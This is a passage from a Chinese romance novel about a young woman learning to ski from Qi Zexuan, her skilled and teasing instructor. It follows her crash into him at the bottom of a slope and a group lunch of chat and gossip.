即便隔着手套，温芷茵还是能感受到他手掌的温度。身上的每一寸肌肤仿佛重新活跃了起来，体会着那细腻的情感波动。他的手指骨骼很有力，也很有安全感。 温芷茵整个大脑都是放空的。 两人慢慢从侧面往上走，那里的雪比较厚，也不像雪道上那么滑，一直走了七八米的距离。“差不多了，从这里滑下来试试。”“记得身体一定要前倾，不能往后仰。”他提醒道。 温芷茵小心翼翼地弯下腰，雪杖架在两侧，滑下的时候，她紧张到不敢做一点多余的动作。 好在第一次试滑比较顺利。 温芷茵回头，看到齐泽玄很快来到她身边，他甚至用不上雪杖，双脚随时控制前进刹车。 “还不错，有些天赋。” “真的吗?” “嗯，再来几次。” 受到鼓舞，她也不再那么紧张了，心情变得莫名兴奋起来，连续滑了几次都完成得很好。 此时，雪道周围传出了一阵此起彼伏地口哨声，欢呼声。温芷茵好奇地望过去，在一众人群中，终于找到了大家欢呼的来源。 一位看起来非常专业的男生站在山顶上，而他的胳膊上还抱着一个女孩。应该是他的女朋友，两人面对面抱在一起，女孩双手搂住了他的脖子，似乎不敢看。 温芷茵没来得及惊讶，男生已经飞跃而下，引来附近又一阵“哇塞”地喝彩声。他滑得是单板，虽然身上有“负重”,但一路下来非常稳当，看起来像是高手。 温芷茵一直盯着两人滑到底，惊叹于竟然还有这种操作。 “看得这么入迷。”齐泽玄的声音在旁边响起，打断了她的思绪。 温芷茵回过头，不好意思地挠挠脸颊：“随便看看，感觉那个男生蛮厉害的。” 她确实是随便看看热闹，也是随便吹捧下，没想到齐泽玄当了真。 他眉梢轻挑，不屑道：“这也算厉害?” 温芷茵愣住：这还不厉害吗?但又不好直接反驳“教练”,只能小声说：“对我来说已经很厉害了。” 齐泽玄上下打量着她：“你要是敢的话，我可以让你选姿势，背着还是抱着。” 温芷茵反应了几秒，才明白他的意思。红着脸说："我不敢。"感受到齐泽玄在盯着自己，又补充一句："我相信你的技术，只是不相信自己。" 幸好他没再较真，沉默几秒，冲着不远处一抬下巴："上传送带吧。" …… 齐泽玄说她有天赋，温芷茵以为只是夸张的说法，是为了让她对自己有信心。没想到滑了几圈之后，她真的很快掌握了节奏。 也就是在这个期间，温芷茵也看到了卫煜他们一行人。 他的那些朋友看起来都挺厉害，但都不如卫煜，他的动作非常松弛和潇洒，引得一些路人都停下来观看，这里面也包括了宋纤凝。 似乎是看她已经入门了，齐泽玄提出他要自己去滑一会儿，让她慢慢练习。温芷茵点头说“好”。 随后，她看到他卸下滑板，进了休息区。温芷茵感到纳闷，刚刚不是说要去滑雪么…… 没再多想，她架起雪杖，向前倾身来了个大滑行，来到宋纤凝跟前。 两人交流了一下初学感受，顺便互相分享了糗事。 温芷茵的学习过程比较顺利，主要是宋纤凝在讲。 “我摔了好几个屁股蹲儿，一直抓着姐姐不放手，有一次还差点把她裤子拽掉了，丢死人了。” 温芷茵笑得不行：“那你得好好跟人家道个歉。” 正聊得开心，从余光里瞥见了从休息区走出来的一个熟悉身影。 依然是黑白搭配的滑雪服，只不过脚下的滑板变了，从双板变成了单板。温芷茵才反应过来，原来他是去换了滑板。 温芷茵突然想到，其实他是不是本来也喜欢玩单板，只不过为了方便教她一开始才用的双板…… 接下来的几分钟，温芷茵一边和宋纤凝说着话，一边时不时地往隔壁雪道打量。她看到他直接去了那条难度最高的雪道，那条雪道不仅坡度陡，还带有波浪形状。 “你在看什么呀?”宋纤凝好奇道。 “没、没什么。”温芷茵正欲收回目光，却在那道黑白身影滑下的一刹那，停止了思考。 齐泽玄的技术，不能单纯用厉不厉害来形容，他滑得非常张扬。 从最高顶上速度极快的俯冲下来，在空中连续几个侧翻，落地时丝毫不见紧张，缓冲一瞬立即又加快速度。 温芷茵屏住呼吸。 这个水平的师傅带新手……未免也太屈才了些。 宋纤凝顺着她的目光看到了这一场景，感叹一声：“怪不得卫煜也跑到那边去了，他们都是高手啊。” 温芷茵点头，拍着她的肩膀：“我们也开始吧。” 两人又滑了一会儿。宋纤凝觉得累了，便在山脚休息起来，温芷茵继续走上传送带。“你还真是有精力。” 温芷茵笑了笑。每一次滑下，都有一种整个身子跟着放飞的轻松感，仿佛所有烦恼都被抛之脑后，她很喜欢这种感觉。 一直到卫煜和齐泽玄走过来，看到宋纤凝问：“你们玩累了吗?要不要去吃点东西。” 此刻已经临近十二点，宋纤凝确实有些饿了：“行，等知知回来吧。” “她还在滑啊?”卫煜惊讶道。 “嗯。” 齐泽玄蓦地笑出声：“一玩儿起来就收不住闸，确实挺符合她的性子——” 卫煜幸灾乐祸看他：“你这么了解?” 齐泽玄弯腰，按开卡扣，将滑板脱下：“至少比你了解。” 宋纤凝嘴巴微张，看着两人，想说什么又没说出口。 她摇摇头，不再乱猜测，把注意力重新放回雪道上，去寻找那个熟悉的身影。 顷刻间，一道粉紫色的倩影疾驰而来。她显然熟练了很多，速度越来越快了。 但这一次宋纤凝觉得有些不对劲。 已经快到平地，她的速度一点没有降下来，直直向着围栏网冲过去。看那个嘴形，像是在说“完了完了。” “知知!”宋纤凝喊了一声。 这一路上是没有障碍物的，她大概是想直接扎进网子里，只是没想到在滑过他们身边的时候，齐泽玄伸手拦了一下。 速度太快，连同他自己的身子整个被带了出去。 两人扎在一起，以这种姿势又前行了两三米，终于停了下来。温芷茵反应过来时，发现自己躺在齐泽玄身上。 “…….” 她惊慌爬起，又因为太着急忘记自己脚上绑着重家伙，一下子没站稳，重新跌到他身上。 “——对不起!” 齐泽玄一手扶住她胳膊，一手撑地，将人扶了起来。还好衣服厚，摔得也不是很疼。 卫煜和宋纤凝走过来问：“没事吧?” “没事。”齐泽玄拍了拍身上的雪，看向旁边的女孩，好笑不笑，“这是在考验教练?”他竟然还有心情跟她逗笑。 温芷茵把领子拉高，遮住脸颊。她都快羞愧死了- 滑雪场的餐饮区都是四人桌，卫煜齐泽玄一行人坐满了两桌，温芷茵和宋纤凝单独坐了一桌。 “知知，跟你说件事，我打算四月底考个雅思。” 温芷茵好奇问：“是想出国么?” “对，我父母一直劝我去留学，但我不想去。“宋纤凝叹口气，“这次拗不过了，答应他们考一个试试。” “试试吧，你英语底子好，肯定没问题。” 宋纤凝英语成绩是宿舍里最好的，只是她看起来没什么抱负，也从来不说毕业后打算做什么。 “有机会留学挺好的，我要不是英语不行也想去外面看看。” 宋纤凝摇头：“我没你那么多想法，我就想找个专业对口的工作，朝九晚六，平平淡淡的生活。” 温芷茵抬眉看了一眼对面的桌子，拿汤勺搅动着碗里的面，轻声道：“或许折腾一圈之后，发现平平淡淡才是真。” 宋纤凝“噗”一下乐了：“怎么摔一跤变成文艺女青年了。” 温芷茵做了个鬼脸：“不说这个了，那你开始复习了吗?雅思需要考多少分呀?” “目前就寒假练了一段时间口语，我父母的意见是希望我去法国，我查了下那里雅思需要6.5以上，然后专业GPA3,好一点3.5。”“还行，我觉得对你来说不难。” “嗯，等四月份考完，看看成绩再说……”两人聊得火热，另外两桌也没闲着。 一坐下来就开始谈论卫煜的八卦，都是熟人，大家也不避讳。“煜哥，你都单身这么多年了，还不打算找个新的?”“对啊，我觉得微姐配不上你，别再等她了，浪费时间。”“闭嘴。”卫煜皱眉，拿筷子戳了下盘子，“好好吃饭。” 此刻，一位看上去又甜又酷的女生手托着下巴，眼睛里“含情脉脉”:“煜哥，要不你考虑考虑我呗。” 众人轰然大笑，连齐泽玄都嗤嗤笑起来。知道她是在开玩笑，但到底是女孩子，卫煜也不好发火。 他把头转向那个一直闷头吃饭的男人。 作为好兄弟，他竟然一点也不帮忙，还在那跟着嘲笑他。“你再这样，我可不客气了。”他小声说。 “我怎样?”齐泽玄掀起嘴角，漫不经心道，“我又没说什么。” "行，希望你能一直这么有骨气。" 他抬起头，扫一眼对面的桌子。 嗓音故意提高了几分，“对了，听说齐爷最近相亲去了，我可真好奇是哪家姑娘。”七分醉